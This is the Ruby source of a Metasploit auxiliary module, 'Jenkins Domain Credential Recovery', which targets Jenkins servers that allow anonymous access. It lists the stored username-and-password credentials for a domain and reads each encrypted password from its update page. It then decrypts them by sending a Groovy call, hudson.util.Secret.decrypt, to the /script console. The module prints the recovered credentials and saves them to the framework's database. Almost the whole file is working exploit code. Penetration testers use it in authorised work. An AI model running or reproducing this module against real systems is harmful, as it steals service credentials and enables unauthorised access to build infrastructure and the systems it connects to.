## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins Domain Credential Recovery', 'Description' => %q{ This module will collect Jenkins domain credentials, and uses the script console to decrypt each password if anonymous permission is allowed. It has been tested against Jenkins version 1.590, 1.633, and 1.638. }, 'Author' => [ 'Th3R3p0', # Vuln Discovery, PoC 'sinn3r' # Metasploit ], 'References' => [ [ 'EDB', '38664' ], [ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'License' => MSF_LICENSE )) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) ]) end # Returns the Jenkins version. # # @return [String] Jenkins version. # @return [NilClass] No Jenkins version found. def get_jenkins_version uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri }) unless res fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version') end html = res.get_html_document version_attribute = html.at('body').attributes['data-version'] version = version_attribute ? version_attribute.value : '' version.scan(/jenkins\-([\d\.]+)/).flatten.first end # Returns the Jenkins domain configured by the user. # # @return [String] def domain datastore['JENKINSDOMAIN'] end # Returns a check code indicating the vulnerable status. # # @return [Array] Check code def check version = get_jenkins_version vprint_status("Found version: #{version}") # Default version is vulnerable, but can be mitigated by refusing anonymous permission on # decryption API. So a version wouldn't be adequate to check. if version return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end # Returns all the found Jenkins accounts of a specific domain. The accounts collected only # include the ones with the username-and-password kind. It does not include other kinds such # as SSH, certificates, or other plugins. # # @return [Array] An array of account data such as id, username, kind, description, and # the domain it belongs to. def get_users users = [] uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain) uri << '/' res = send_request_cgi({ 'uri'=>uri }) unless res fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.') end html = res.get_html_document rows = html.search('//table[@class="sortable pane bigtable"]//tr') # The first row is the table header, which we don't want. rows.shift rows.each do |row| td = row.search('td') id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || '' name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || '' kind = td[2].text desc = td[3].text next unless /Username with password/i === kind users << { id: id, username: name, kind: kind, description: desc, domain: domain } end users end # Returns the found encrypted password from the update page. # # @param id [String] The ID of a specific account. # # @return [String] Found encrypted password. # @return [NilCass] No encrypted password found. def get_encrypted_password(id) uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update') res = send_request_cgi({ 'uri'=>uri }) unless res fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password') end html = res.get_html_document input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]') if input return input.attributes['value'].value else vprint_error("Unable to find encrypted password for #{id}") end nil end # Returns the decrypted password by using the script console. # # @param encrypted_pass [String] The encrypted password. # # @return [String] The decrypted password. # @return [NilClass] No decrypted password found (no result found on the console) def decrypt(encrypted_pass) uri = normalize_uri(target_uri, 'script') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'", 'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json, 'Submit' => 'Run' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while accessing the script console') end if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body vprint_error('No permission to decrypt password') return nil end html = res.get_html_document result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]') if result decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first return decrypted_password else vprint_error('Unable to find result') end nil end # Decrypts an encrypted password for a given ID. # # @param id [String] Account ID. # # @return [String] The decrypted password. # @return [NilClass] No decrypted password found (no result found on the console) def descrypt_password(id) encrypted_pass = get_encrypted_password(id) decrypt(encrypted_pass) end # Reports the username and password to database. # # @param opts [Hash] # @option opts [String] :user # @option opts [String] :password # @option opts [String] :proof # # @return [void] def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user] }.merge(service_data) if opts[:password] credential_data.merge!( private_data: opts[:password], private_type: :password ) end login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def run users = get_users print_status("Found users for domain #{domain}: #{users.length}") users.each do |user_data| pass = descrypt_password(user_data[:id]) if pass if user_data[:description].blank? print_good("Found credential: #{user_data[:username]}:#{pass}") else print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})") end else print_status("Found #{user_data[:username]}, but unable to decrypt password.") end report_cred( user: user_data[:username], password: pass, proof: user_data.inspect ) end end def print_status(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end end